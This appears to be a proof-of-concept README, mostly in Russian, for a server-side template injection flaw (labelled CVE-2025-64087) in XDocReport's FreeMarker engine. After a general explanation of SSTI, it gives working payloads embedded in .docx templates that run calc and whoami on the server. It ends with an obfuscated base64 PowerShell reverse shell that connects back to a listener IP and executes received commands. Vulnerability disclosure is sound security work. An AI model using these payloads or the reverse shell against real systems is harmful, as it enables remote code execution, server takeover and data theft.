at190510-cuong/cve-2025-64087-ssti-CVE-2025-64087 (SSTI)
Обзор уязвимости
Server-Side Template Injection (SSTI) — это уязвимость веб-безопасности, позволяющая злоумышленникам внедрять вредоносный код в шаблоны, используемые системами управления контентом (CMS) и веб-фреймворками, с целью удаленных атак, кражи конфиденциальной информации или выполнения несанкционированных действий в системе.
SSTI является разновидностью уязвимости внедрения (как SQL Injection, XSS и т.д.), при которой злоумышленники используют системы шаблонов для удаленного развертывания вредоносного кода. При успешной атаке SSTI злоумышленник может выполнить собственный код на стороне сервера, что позволяет проводить удаленные атаки, такие как сбор конфиденциальной информации, выполнение несанкционированных операций в системе и доступ к неавторизованным ресурсам.
Уязвимость SSTI часто возникает из-за использования небезопасных систем шаблонов или отсутствия проверки и обработки входных параметров перед их вставкой в шаблоны. В случае успешной атаки SSTI последствия могут быть серьезными и привести к значительному ущербу для атакованной организации.
Влияние на бизнес
Уязвимость SSTI может привести к множеству серьезных последствий, в том числе:
Выполнение вредоносного кода: злоумышленник может использовать эту уязвимость для выполнения вредоносного кода на сервере, что позволяет похитить данные, совершить незаконные действия в системе или даже полностью захватить контроль над сервером.
Раскрытие конфиденциальной информации: SSTI может позволить злоумышленнику читать, изменять или удалять файлы на сервере. Если эти файлы содержат конфиденциальную информацию, такую как учетные записи и пароли, злоумышленник может легко получить к ней доступ.
Угрозы или фишинг пользователей: злоумышленник может использовать SSTI для проведения угроз или фишинговых атак, изменяя содержимое веб-страницы или добавляя поддельные кастомные кнопки. Если пользователь нажмет на эти кнопки, злоумышленник может похитить его данные или установить вредоносное ПО на его компьютер.
A Server-Side Template Injection (SSTI) vulnerability was found in OpenSAGRES XDocReport when processing DOCX templates with the FreeMarker engine. Under certain configurations, crafted templates can lead to Remote Code Execution (RCE).
Веб-приложение для управления персоналом позволяет пользователям загружать файлы документов .docx в систему. В процессе обработки приложение использует шаблонизатор FreeMarker (в файле FreemarkerTemplateEngine.java) для рендеринга содержимого ${"freemarker.template.utility.Execute"?new()("whoami")} без механизма контроля или фильтрации входных данных.
Эта уязвимость позволяет злоумышленнику вставлять вредоносные выражения в файл .docx (шаблон), что приводит к удаленному выполнению кода (RCE) на сервере и может быть использовано для кражи информации или захвата управления системой.
fr.opensagres.xdocreport.template.freemarker — XDocReport (версии 1.0.0 – 2.1.0).
https://github.com/opensagres/xdocreport/blob/master/template/fr.opensagres.xdocreport.template.freemarker/src/main/java/fr/opensagres/xdocreport/template/freemarker/FreemarkerTemplateEngine.java не выполняется проверка содержимого входного файла xdoc. Содержимое шаблона загружается напрямую и передается в process(context, writer, template) для обработки движком FreeMarker без изолированной среды (sandboxing) или ограничений на директивы/выражения. В результате злоумышленник может предоставить шаблон, содержащий вредоносные выражения/команды FreeMarker, что приводит к удаленному выполнению кода (RCE).
.docx, содержимое которого представляет собой следующий payload:```
${"freemarker.template.utility.Execute"?new()("calc")}
2. Видим, что выполнение прошло успешно и открылось приложение calc
3. Аналогично, чтобы получить информацию о пользователе, работающем в системе, с помощью payload:```
${"freemarker.template.utility.Execute"?new()("whoami")}
.docx после обработки шаблонизатором вернул данные системы.
6. Повышение воздействия до RCE
- Слушающая машина — wsl с IP-адресом `172.26.208.130`
- Эксплуатация с помощью следующей полезной нагрузки:
```java
${"freemarker.template.utility.Execute"?new()("powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA3ADIALgAyADYALgAyADAAOAAuADEAMwAwACIALAA5ADkAOQA5ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==")}
.docx в xdocreport для обработки